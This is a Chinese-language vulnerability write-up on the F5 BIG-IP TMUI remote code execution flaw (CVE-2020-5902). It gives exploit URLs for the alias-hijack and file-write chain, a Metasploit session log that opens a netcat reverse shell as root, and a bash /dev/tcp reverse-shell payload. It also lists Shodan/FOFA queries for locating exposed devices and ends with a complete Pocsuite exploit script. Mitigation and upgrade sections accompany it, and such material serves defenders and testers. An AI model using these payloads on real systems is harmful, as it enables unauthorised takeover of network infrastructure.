F5 BIG-IP远程代码执行(CVE-2020-5902)

F5 BIG-IP远程代码执行(CVE-2020-5902)

简介

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

影响版本

  • BIG-IP = 15.1.0
  • BIG-IP = 15.0.0
  • BIG-IP 14.1.0 - 14.1.2
  • BIG-IP 13.1.0 - 13.1.3
  • BIG-IP 12.1.0 - 12.1.5
  • BIG-IP 11.6.1 - 11.6.5

漏洞简析

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

复现过程

存在漏洞的站点验证POC:

GET /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=AnyMsgHereWillBeReflectedInTheResponse

若页面状态码200则判定存在Tomcat路径穿越+权限绕过问题。

image-20200706140114858

利用方式1:

目前msf已经集成了该漏洞的利用,使用metasploit导入https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb即可使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msf5 exploit(linux/http/f5_bigip_tmui_rce) > run

[+] nc *** 4444 -e /bin/sh
[*] Started reverse TCP handler on ***:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target is running BIG-IP 14.1.2.
[*] Creating alias list=bash
[+] Successfully created alias list=bash
[*] Executing Unix Command for cmd/unix/reverse_netcat_gaping
[*] Executing command: nc 172.16.249.1 4444 -e /bin/sh
[*] Uploading /tmp/VWqLg1NHgUmhRzahFjCKCMapWH
[+] Successfully uploaded /tmp/VWqLg1NHgUmhRzahFjCKCMapWH
[*] Executing /tmp/VWqLg1NHgUmhRzahFjCKCMapWH
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash
[*] Command shell session 1 opened (172.16.249.1:4444 -> 172.16.249.176:41324) at 2020-07-05 15:17:11 -0500
[+] Deleted /tmp/VWqLg1NHgUmhRzahFjCKCMapWH

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
uname -a

同理,根据原文的Ruby脚本,可剥离出需要的HTTP请求:

image-20200706140700516

剥离得到漏洞利用Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1.修改alias劫持list命令为bash
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

# 2.写入bash文件
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/1.txt&content=id

# 3. 执行bash文件
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/1.txt

# 4.还原list命令
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

PS:第四步可不还原,第二步的执行情况(写入情况)可使用如下请求进行读取
读取
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt

执行成功截图:

image-20200706141205082

PS:即使漏洞存在也可能需要多次执行才能成功(4次左右)。

同时可用反弹shell(将第二步的Payload换为**/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/1.txt&content=bash+-i+>%26+/dev/tcp/ip/port+0+>=%26+1**)

image-20200706142008183

痕迹分析

在WEB日志下将存在访问:**..;/tmui/locallb/workspace/fileSave.jsp**文件的痕迹,若使用了GET请求还能看到其执行的命令

影响范围

Zoomeye:app:”F5 BIG-IP load balancer httpd”

FOFA:app=”F5-BIGIP”

Shodan: http.title:”BIG-IP®- Redirect”

全球分布:

image-20200706143008036

国内分布:

image-20200706143115741

防护方案

  1. 登陆 TMOS Shell(tmsh)执行:
1
tmsh
  1. 修改 httpd 配置信息:
1
edit /sys httpd all-properties
  1. 找到include 部分并添加以下内容:
1
2
3
4
5
include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'
  1. 通过输入以下命令,将更改写入并保存到配置文件中:
1
2
Esc
:wq!
  1. 通过输入以下命令来保存配置:
1
save /sys config
  1. 通过输入以下命令来重新启动httpd服务:
1
restart sys service httpd

也可以通过升级的方式来进行修复:

  • BIG-IP 15.x 升级至 15.1.0.4
  • BIG-IP 14.x 升级至 14.1.2.6
  • BIG-IP 13.x 升级至 13.1.3.4
  • BIG-IP 12.x 升级至 12.1.5.2
  • BIG-IP 11.x 升级至 11.6.5.2

POC(基于Pocsuite)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from urllib.parse import urlparse

from pocsuite3.api import Output, POCBase, register_poc, requests, logger, CEye
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
vulID = '' # ssvid
version = '3.0'
author = ['d4m1ts']
vulDate = '2020-07-06'
createDate = '2020-07-06'
updateDate = '2020-07-06'
references = ['https://github.com/jas502n/CVE-2020-5902','https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb']
name = 'F5 BIG-IP RCE(CVE-2020-5902)'
appPowerLink = ''
appName = 'F5 BIG-IP'
appVersion = '15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1'
vulType = 'Command Execution'
desc = '''In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
'''
cnnvd = ""
cnvd = ""
cve = "CVE-2020-5902"
cvss3 = ""
harm = "命令执行"
level = "high"
sug = '''升级'''
vul_type = "web"
pocname = "f5_big_ip_rce_cve_2020_5902"
samples = []
install_requires = ['']

def _verify(self):
result = {}
randstr = random_str()
protocol,host,port,rpath = self.parse_url(self.url)
url = protocol + "://" + str(host) + ":" + str(port)

fileName = "/var/tmp/tdfgjkl" # 写到目标的
cmd = "id" # // ==> \/\/

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"}
def create_alias(): # 开启bash
payload = "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"command": "create cli alias private list command bash"}
req = requests.post(url+payload, headers=headers, data=data)
if req.json()['error'] == "":
return True

def upload_script(fileName,cmd): # fileName ==> /tmp/ljkkasdv 任意文件上传
payload = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"fileName": fileName, "content": cmd}
req = requests.post(url+payload, headers=headers, data=data)
if req.status_code == 200:
return True

def upload_check(fileName,cmd): # 任意文件读取
payload = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName={}".format(fileName)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
req = requests.get(url+payload, headers=headers)
if cmd.replace("/","\\/") in req.text:
logger.info("[+] Upload Success ! ==> {}".format(url+payload))
return True

def execute_script(fileName): # if "uid" in
payload = "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"command": "list {}".format(fileName)}
for i in range(0,10): # 重复多次可能会成功,一般是4次
req = requests.post(url+payload, headers=headers, data=data)
if req.json()['error'] == "" and "uid" in req.text:
print (req.text)
logger.info("[+] Execute OK, Having a check ...")
return True

def delete_alias():
payload = "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"command": "delete cli alias private list"}
req = requests.post(url+payload, headers=headers, data=data)
if req.json()['error'] == "":
return True

try:
delete_alias() # 可能被别人别名了,第一步先尝试删除别名不然可能报错!!!

if create_alias():
if upload_script(fileName,cmd):
if upload_check(fileName,cmd):
if execute_script(fileName):
if delete_alias():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Port'] = str(port)
return self.parse_output(result)
except Exception as ex:
logger.error(ex)

def _attack(self):
self._verify()

def parse_url(self,url):
urparse = urlparse(url)
host = urparse.hostname
protocol = urparse.scheme
port = urparse.port if urparse.port else 443 if 'https' in protocol else 80
path = urparse.path.rstrip('/') if urparse.path != '' else ''

return protocol,host,port,path

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output

register_poc(DemoPOC)

参考链接

http://www.r4v3zn.com/spear-framework/#/big-ip/cve-2020-5902?id=%e5%bd%b1%e5%93%8d%e7%89%88%e6%9c%ac

https://github.com/jas502n/CVE-2020-5902/

https://cert.360.cn/warning/detail?id=a1768348bde7807647cbc7232edce7df